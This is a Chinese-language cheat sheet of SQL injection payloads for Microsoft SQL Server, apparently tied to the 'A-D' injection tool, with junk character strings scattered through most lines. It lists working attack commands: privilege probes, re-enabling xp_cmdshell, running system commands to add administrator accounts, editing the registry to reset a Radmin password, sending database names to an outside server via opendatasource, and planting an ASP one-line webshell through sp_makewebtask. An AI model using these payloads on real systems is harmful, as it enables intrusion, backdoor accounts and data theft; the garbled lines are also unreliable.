阿D常用的一些注入命令
8 t3 Y" b# W' u! h6 s6 d//看看是什么权限的" e/ d2 i* q0 {9 j; }
and 1=(Select IS_MEMBER('db_owner'))
; R- ?$ g5 a/ l- E' w0 T9 DAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
0 \0 r; u8 q: m
$ n {+ }5 p p& C( r3 S# v//检测是否有读取某数据库的权限
9 e2 g4 M9 Q) c2 ~# v" ?9 f3 ?and 1= (Select HAS_DBACCESS('master'))% X& ^) G1 [3 I
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --5 Z- T; o+ s! W1 Y+ X6 r
' Y* |, y, y# n
" J8 f; ?' M' |) H( ]数字类型% \: i5 w% ]3 B) b; |. J% T' {9 n
and char(124)%2Buser%2Bchar(124)=01 `& H8 d1 G$ [* @1 M: ~
3 t6 {2 m h8 i+ v) F
字符类型
6 G+ Q7 P( l/ N6 b. @4 Z" D" Y" V) R5 t' and char(124)%2Buser%2Bchar(124)=0 and ''=', v1 N3 {1 X5 k1 O0 t9 ]; p
8 A& B' W# t( ?8 K; ^
搜索类型% H q- ^2 c6 C( o! X/ T
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
3 s) _0 T: B& A8 i: m( @8 C' n
+ J9 }; m6 ~( f, H爆用户名
0 X# F+ t. P' ~) g" U" ^$ Iand user>02 V+ X5 I% O9 n4 X
' and user>0 and ''='5 X% F0 [3 V) k* |" y/ ~3 j
- ^: p2 w' L. Y* D" @# u
检测是否为SA权限8 W7 B- z8 G) {+ \ h2 e& W
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--0 Q- z) C; P7 ~3 K# D: x) e
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --4 [* f: E8 H, p1 O9 Q5 A
* b h6 d w- t. |- a9 y检测是不是MSSQL数据库
; I! W% T$ b4 |# k% M/ aand exists (select * from sysobjects);-- - A5 E+ T! i6 }1 Y6 h* l
* l- k; g! O) N# ]4 ^" [ R0 s检测是否支持多行
1 W' V, L: v, K0 ^% m- b9 _;declare @d int;--
$ \! n n5 N5 l- s A
m9 N( r6 n3 g6 p# L+ w4 j; y' b恢复 xp_cmdshell8 X8 R% S' k+ T" @4 g/ M: Y
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--5 Y0 n" ]' C" Z6 p- Q3 A
. Z( ^0 X( M' y8 y
( c$ w9 W: y ?2 L9 ~
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 9 |: }/ D( I3 ^7 L9 M. X5 Z
E) B% u% n9 S! v/ \4 \: r8 F9 W//-----------------------
% i V9 [: P8 K# e! o// 执行命令
6 j) B+ I! q/ ?, T" c//-----------------------
- `1 E2 e$ l6 E7 S( b首先开启沙盘模式: {, K7 N* C* x' M6 ]& s6 G
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, [$ }; ]3 D$ Q1 N+ i6 j
0 n4 u3 v6 O0 g, i4 L然后利用jet.oledb执行系统命令
! R/ y8 f' ^% a9 A- O" |select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')+ x# s- n9 h; `7 E* @
- a6 S x' i* B& z9 k执行命令
; z+ b; G2 w& c, m7 P;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
2 d) \9 U3 T( V: e2 i6 c2 V6 ]& T+ N% g$ N# _* a8 X) x4 q+ K! p& k
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
/ E& e1 U6 E' q. i% J- ?
6 e5 }, L( I' P, L: F' o! n5 r判断xp_cmdshell扩展存储过程是否存在:
: v# p1 n8 L. B' a& r* Bhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
5 [0 u1 }" e$ z4 y, ]" ~$ Y2 P3 i ? `1 z" `
写注册表
) m- N! V' D# @+ v/ q# zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1* U- _$ Y, H5 C. s2 Z9 M
9 E8 S. w( ^) I) J" wREG_SZ. ]% R# e5 Y2 }
* V$ W) t4 p+ x/ I- L读注册表- y$ o9 R! ^) k Z0 X9 L2 q8 B# |
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'0 O# o) Q1 C. Y M, \
+ H7 T3 S# I* Q z* |, H
读取目录内容" Z6 ~$ `/ c4 I3 t( d& Z
exec master..xp_dirtree 'c:\winnt\system32\',1,1
7 d, T) L, t/ e2 k, |% f/ K
6 w: l6 r; i8 [" I# A/ H u5 E5 D% [' j: ~9 o% k3 ~- X: i
数据库备份
/ }0 _* x. ^+ dbackup database pubs to disk = 'c:\123.bak'7 \8 _9 a" r' h+ Q$ I" V% q" `
$ O. [" v. \0 ^$ K' g; P//爆出长度1 K0 X7 R3 f; |/ [
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--+ t+ |" C3 {7 S5 I" f# i) r
, _3 ]* D! _ K/ u1 t1 c* b5 Z2 s+ t* S1 q
8 Z. b1 j- P3 P$ a3 [更改sa口令方法:用sql综合利用工具连接后,执行命令:
) p( x' ]8 y1 d5 I5 z' `0 Bexec sp_password NULL,'新密码','sa'
# E6 u$ A5 k; Z; r8 R
9 Z+ _& `$ ]% P" K( |( n4 S( x添加和删除一个SA权限的用户test:
9 d5 R# W' x& G) F, t7 \exec master.dbo.sp_addlogin test,ptlove
! M" k- E+ ~% b. Q( _exec master.dbo.sp_addsrvrolemember test,sysadmin
- n# @: ^. f0 s) O' T$ A4 ]3 s; w$ h, m \7 p4 p7 z* o
删除扩展存储过过程xp_cmdshell的语句: 4 P; ^) q2 r2 Z0 z2 R
exec sp_dropextendedproc 'xp_cmdshell'
& B+ ~" p, _1 V, I1 O- Q9 q; ~. x# l' G$ G
添加扩展存储过过程
, d/ S; w, p7 t# O# E7 E3 a( GEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' & O% x# |0 V# P; \5 g4 {- M
GRANT exec On xp_proxiedadata TO public 4 Y" B9 y0 y% l' h: b u
% L8 |, \. {8 c2 ^: P3 x1 l' z
, R6 \$ H |7 J" Q$ B, x8 c
停掉或激活某个服务。
! p! o+ [8 Q! E4 k" Q3 X6 y, n8 k r1 p) {6 r- k8 ]0 ~( E" W6 U1 s( P
exec master..xp_servicecontrol 'stop','schedule'4 v6 q4 V8 u% Q( a
exec master..xp_servicecontrol 'start','schedule'
- v) M. V0 ^, L& } k+ E* P' a6 ~* R0 r1 z3 M6 }& V( N* H/ V
dbo.xp_subdirs! _1 C! ~" Q; G! t* b$ e
5 o5 b: c; b! Y7 g, e' u& t只列某个目录下的子目录。
, y3 h C: g+ k5 V: o' P5 lxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
0 U( x' T7 f) P& l( F& R, d
@ m, |3 }: s4 C- Pdbo.xp_makecab0 N( f, d6 q9 i' k, ]- [, G o
v: N4 Z" K7 j0 T6 C
将目标多个档案压缩到某个目标档案之内。/ K. m" F; d+ c" b' n
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。; p8 p; |: p% Y5 `
9 d% Y' @! L8 z8 R. a; B6 m7 `4 i. q
dbo.xp_makecab
/ S7 A$ L+ |8 u9 G'c:\test.cab','mszip',1,; B# f7 m+ G2 q0 ?
'C:\Inetpub\wwwroot\SQLInject\login.asp',1 Y, @7 T z; D1 j8 V4 R
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'* V' ^& W8 n4 u
" j; j4 g4 }. C7 {
xp_terminate_process* D g1 E6 R! ?* _
2 }0 T Y! U% R5 p" d* J: T停掉某个执行中的程序,但赋予的参数是 Process ID。! K. t2 v; G- D* Z8 n( x Q' q# Y
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
0 L9 N; ]& o) R& L' D7 Q" {* [
3 K" t% C0 b, a& Zxp_terminate_process 2484' g3 d; G/ v! p. y% z6 x
( e! `6 H" y6 N# v5 n3 w- Z% U" a F
xp_unpackcab
9 t: g! i1 g7 Y' P. ]! A8 ?3 p6 t/ c
解开压缩档。# T6 t$ D' j. Q" h+ j; r# A/ I$ J. ^
2 ^% \. L9 ~0 f
xp_unpackcab 'c:\test.cab','c:\temp',1* V% \% {2 }( t2 p2 G
7 k3 j: m2 l" B& d# `# }4 N# ~1 c: V2 }3 J# o' U5 _: l8 t2 r
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
* ^. k- c0 }1 ?* v6 e; Q- R0 Q" ~& e
create database lcx;6 r! w3 B: Y( ]
Create TABLE ku(name nvarchar(256) null);+ l) ?* K& }$ t5 s5 a1 x
Create TABLE biao(id int NULL,name nvarchar(256) null);
F/ `8 @/ b& `7 A
6 I6 m: y, S3 R- z. v//得到数据库名
4 g8 C; e. x& \, ?1 p6 S. l5 @! pinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
% {2 \$ F# \6 ~/ H
- I, _' x' a7 E9 S/ o ^4 L$ ?7 s5 T
5 T6 \. K" T; ~9 o//在Master中创建表,看看权限怎样- O1 z' M7 Y) F
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
, a+ d- Y* v& ?! Z
4 Y& y5 C: W d9 h4 D M4 K1 s+ X$ V用 sp_makewebtask直接在web目录里写入一句话马:$ P, g( Y1 A) @, M# C8 \% W
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--; j. c9 U5 f- F1 K+ J5 z
) x, f# S7 u' v2 J5 Q, o# R
//更新表内容
$ u8 Z+ M6 h" ^Update films SET kind = 'Dramatic' Where id = 123! b( T& u$ Z' m% G0 Y4 w' y* g, Q
( e7 ~, `1 k% z$ X* F
//删除内容
" _) ]- i! `# Q K/ A& l5 [" Q1 `4 Ddelete from table_name where Stockid = 3 |